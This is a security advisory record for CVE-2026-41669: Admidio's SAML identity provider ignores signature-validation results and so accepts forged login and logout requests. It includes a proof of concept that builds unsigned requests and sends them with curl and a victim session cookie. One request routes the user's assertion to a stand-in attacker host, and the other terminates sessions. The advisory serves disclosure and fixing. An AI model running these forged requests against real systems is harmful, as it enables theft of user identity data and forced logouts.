{"id":"GHSA-25cw-98hg-g3cg","summary":"Admidio Ignores SAML Signature Validation Result, Processes Forged AuthnRequests and LogoutRequests","details":"## Summary\n\nThe Admidio SAML Identity Provider implementation discards the return value of its `validateSignature()` method at both call sites (`handleSSORequest()` line 418 and `handleSLORequest()` line 613). The method returns error strings on failure rather than throwing exceptions, but the developer believed it would throw (per comments on lines 416 and 611). This means the `smc_require_auth_signed` configuration option is completely ineffective — unsigned or invalidly-signed SAML AuthnRequests and LogoutRequests are processed identically to properly signed ones.\n\n## Details\n\nThe `validateSignature()` method at `src/SSO/Service/SAMLService.php:355` has three possible return paths:\n\n```php\n// Line 355-392\npublic function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool|string {\n    global $gL10n;\n    $certPem = $client-\u003egetValue('smc_x509_certificate');\n    if (!$certPem) {\n        if ($required) {\n            return $gL10n-\u003eget('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'); // Returns STRING, not throw\n        } else {\n            return false;\n        }\n    }\n    // ...\n    $signatureReader = $message-\u003egetSignature();\n    if (is_null($signatureReader)) {\n        if ($required) {\n            return $gL10n-\u003eget('SYS_SSO_SAML_SIGNATURE_MISSING'); // Returns STRING, not throw\n        } else {\n            return false;\n        }\n    }\n    try {\n        $ok = $signatureReader-\u003evalidate($key);\n        if ($ok) {\n            return true;\n        } else {\n            return $gL10n-\u003eget('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw\n        }\n    } catch (Exception $ex) {\n        return $gL10n-\u003eget('SYS_SSO_SAML_SIGNATURE_FAILED'); // Returns STRING, not throw\n    }\n}\n```\n\nBoth call sites discard the return value entirely:\n\n```php\n// Line 416-419 in handleSSORequest()\n// Validate signatures. Will throw an exception    \u003c-- INCORRECT COMMENT\nif ($client-\u003egetValue('smc_require_auth_signed') || $client-\u003egetValue('smc_validate_signatures')) {\n    $this-\u003evalidateSignature($client, $request, $client-\u003egetValue('smc_require_auth_signed'));\n    // Return value discarded — execution continues regardless of validation result\n}\n\n// Line 611-614 in handleSLORequest()\n// Validate signatures. Will throw an exception    \u003c-- INCORRECT COMMENT\nif ($client-\u003egetValue('smc_require_auth_signed') || $client-\u003egetValue('smc_validate_signatures')) {\n    $this-\u003evalidateSignature($client, $request, $client-\u003egetValue('smc_require_auth_signed'));\n    // Return value discarded — execution continues regardless of validation result\n}\n```\n\n**SSO exploitation path** (for already-logged-in users):\n1. `modules/sso/index.php:92` routes to `handleSSORequest()`\n2. Line 403: `receiveMessage()` parses SAML binding directly from HTTP GET/POST — no authentication required\n3. Line 408-409: Entity ID extracted from the forged request's Issuer element, client config loaded\n4. Line 417-419: Signature validation called but return value discarded — flow continues\n5. Line 421: `$gValidLogin` is true for logged-in users, so login form is skipped\n6. Lines 438-580: SAML Response built with user's real attributes (login, name, email, roles) and sent to the `AssertionConsumerServiceURL` from the forged request\n\n**SLO exploitation path**:\n1. `modules/sso/index.php:94` routes to `handleSLORequest()`\n2. Line 613: Signature validation discarded\n3. Lines 621-629: User's session is deleted from the database and `$gCurrentSession-\u003elogout()` is called\n\n## PoC\n\n```bash\n# Prerequisites:\n# - Admidio instance with SAML SSO enabled (sso_saml_enabled=1)\n# - At least one registered SAML SP client with smc_require_auth_signed=true\n# - A user with an active session (e.g., admin browsing the Admidio panel)\n\n# 1. Generate an unsigned AuthnRequest impersonating a registered SP:\nAUTHN_REQUEST=$(python3 -c \"\nimport base64, zlib\nreq = '\u003csamlp:AuthnRequest xmlns:samlp=\\\"urn:oasis:names:tc:SAML:2.0:protocol\\\" xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_fake123\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2026-03-27T00:00:00Z\\\" AssertionConsumerServiceURL=\\\"https://attacker.example.com/acs\\\"\u003e\u003csaml:Issuer\u003ehttps://legitimate-sp.example.com/entity-id\u003c/saml:Issuer\u003e\u003c/samlp:AuthnRequest\u003e'\nprint(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())\n\")\n\n# 2. Send the unsigned request via HTTP-Redirect binding (GET):\n# If a logged-in user's browser follows this link (e.g., via CSRF/social engineering),\n# Admidio generates a signed SAML assertion with the user's PII and sends it\n# to the attacker-controlled ACS URL.\ncurl -v \"https://admidio.example.org/adm_program/modules/sso/index.php/saml/sso?SAMLRequest=${AUTHN_REQUEST}\" \\\n  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'\n\n# Expected: Despite smc_require_auth_signed=true, the unsigned request is processed.\n# The response contains a SAML assertion with the victim's attributes.\n\n# 3. For SLO — forge a LogoutRequest to terminate a victim's session:\nLOGOUT_REQUEST=$(python3 -c \"\nimport base64, zlib\nreq = '\u003csamlp:LogoutRequest xmlns:samlp=\\\"urn:oasis:names:tc:SAML:2.0:protocol\\\" xmlns:saml=\\\"urn:oasis:names:tc:SAML:2.0:assertion\\\" ID=\\\"_fake456\\\" Version=\\\"2.0\\\" IssueInstant=\\\"2026-03-27T00:00:00Z\\\"\u003e\u003csaml:Issuer\u003ehttps://legitimate-sp.example.com/entity-id\u003c/saml:Issuer\u003e\u003csaml:NameID\u003evictim@example.com\u003c/saml:NameID\u003e\u003c/samlp:LogoutRequest\u003e'\nprint(base64.b64encode(zlib.compress(req.encode())[2:-4]).decode())\n\")\n\ncurl -v \"https://admidio.example.org/adm_program/modules/sso/index.php/saml/slo?SAMLRequest=${LOGOUT_REQUEST}\" \\\n  -b 'PHPSESSID=VICTIM_SESSION_COOKIE'\n\n# Expected: Victim's session is terminated, logout cascaded to all registered SPs.\n```\n\n## Impact\n\n- **Signature enforcement bypass**: The `smc_require_auth_signed` setting is entirely ineffective. Administrators who enable this setting believing it protects against forged requests have a false sense of security.\n- **User attribute disclosure (SSO)**: When combined with the ability to specify an arbitrary `AssertionConsumerServiceURL`, an attacker can redirect a logged-in user's SAML assertion (containing login name, email, real name, role memberships) to an attacker-controlled endpoint.\n- **Session termination (SLO)**: An attacker can forge LogoutRequests to terminate any user's Admidio session and trigger cascading single logout across all registered Service Providers, causing denial of service for targeted users.\n- **Amplifies ACS URL injection**: The signature requirement was the primary defense against unvalidated ACS URLs in AuthnRequests. Without signature enforcement, the ACS redirect becomes trivially exploitable via GET redirect binding (which bypasses SameSite=Lax cookie restrictions).\n\n## Recommended Fix\n\nCheck the return value of `validateSignature()` and throw on failure. In `src/SSO/Service/SAMLService.php`, fix both call sites:\n\n```php\n// In handleSSORequest(), replace lines 416-419:\n// Validate signatures\nif ($client-\u003egetValue('smc_require_auth_signed') || $client-\u003egetValue('smc_validate_signatures')) {\n    $result = $this-\u003evalidateSignature($client, $request, (bool)$client-\u003egetValue('smc_require_auth_signed'));\n    if ($result !== true && $result !== false) {\n        // $result is an error message string — validation failed\n        throw new Exception($result);\n    }\n}\n\n// In handleSLORequest(), replace lines 611-614 with the same pattern:\nif ($client-\u003egetValue('smc_require_auth_signed') || $client-\u003egetValue('smc_validate_signatures')) {\n    $result = $this-\u003evalidateSignature($client, $request, (bool)$client-\u003egetValue('smc_require_auth_signed'));\n    if ($result !== true && $result !== false) {\n        throw new Exception($result);\n    }\n}\n```\n\nAlternatively, refactor `validateSignature()` to throw exceptions on failure (matching the developer's original intent as documented in the comments), which would make both call sites correct as-is:\n\n```php\npublic function validateSignature(SAMLClient $client, SamlMessage $message, bool $required = false): bool {\n    global $gL10n;\n    $certPem = $client-\u003egetValue('smc_x509_certificate');\n    if (!$certPem) {\n        if ($required) {\n            throw new Exception($gL10n-\u003eget('SYS_SSO_SAML_SIGNATURE_KEY_MISSING'));\n        }\n        return false;\n    }\n    // ... (same cert loading logic) ...\n    $signatureReader = $message-\u003egetSignature();\n    if (is_null($signatureReader)) {\n        if ($required) {\n            throw new Exception($gL10n-\u003eget('SYS_SSO_SAML_SIGNATURE_MISSING'));\n        }\n        return false;\n    }\n    try {\n        if (!$signatureReader-\u003evalidate($key)) {\n            throw new Exception($gL10n-\u003eget('SYS_SSO_SAML_SIGNATURE_FAILED'));\n        }\n        return true;\n    } catch (Exception $ex) {\n        throw new Exception($gL10n-\u003eget('SYS_SSO_SAML_SIGNATURE_FAILED'));\n    }\n}\n```","aliases":["CVE-2026-41669"],"modified":"2026-05-08T20:33:32.260999Z","published":"2026-04-29T21:56:13Z","database_specific":{"github_reviewed":true,"github_reviewed_at":"2026-04-29T21:56:13Z","nvd_published_at":"2026-05-07T04:16:30Z","cwe_ids":["CWE-347"],"severity":"HIGH"},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-25cw-98hg-g3cg"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-41669"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"},{"type":"WEB","url":"https://github.com/Admidio/admidio/releases/tag/v5.0.9"}],"affected":[{"package":{"name":"admidio/admidio","ecosystem":"Packagist","purl":"pkg:composer/admidio/admidio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.9"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.0.8","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/04/GHSA-25cw-98hg-g3cg/GHSA-25cw-98hg-g3cg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N"}]}